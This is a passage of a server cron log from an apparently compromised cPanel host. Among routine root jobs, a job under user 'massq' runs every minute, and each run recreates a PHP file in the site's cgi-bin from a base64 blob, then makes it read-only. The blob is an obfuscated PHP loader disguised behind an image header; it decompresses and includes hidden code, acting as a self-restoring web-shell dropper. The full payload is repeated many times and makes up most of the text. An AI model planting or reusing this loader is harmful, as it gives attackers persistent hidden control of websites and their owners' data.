"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:30:01 server CROND[29327]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 14:30:01 server CROND[29326]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 14:30:01 server CROND[29328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 14:30:01 server CROND[29329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:31:01 server CROND[29432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:32:01 server CROND[29481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:33:01 server CROND[29650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:34:01 server CROND[29713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:35:01 server CROND[29769]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 14:35:01 server CROND[29770]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 14:35:01 server CROND[29768]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 14:35:01 server CROND[29771]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 14:35:01 server CROND[29777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:36:01 server CROND[29887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:37:01 server CROND[29963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:38:01 server CROND[30093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:39:01 server CROND[30130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:39:01 server CROND[30131]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 14:40:01 server CROND[30186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:40:01 server CROND[30188]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 14:40:01 server CROND[30187]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 14:40:01 server CROND[30189]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 14:41:01 server CROND[30300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:42:01 server CROND[30358]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 14:42:01 server CROND[30359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKS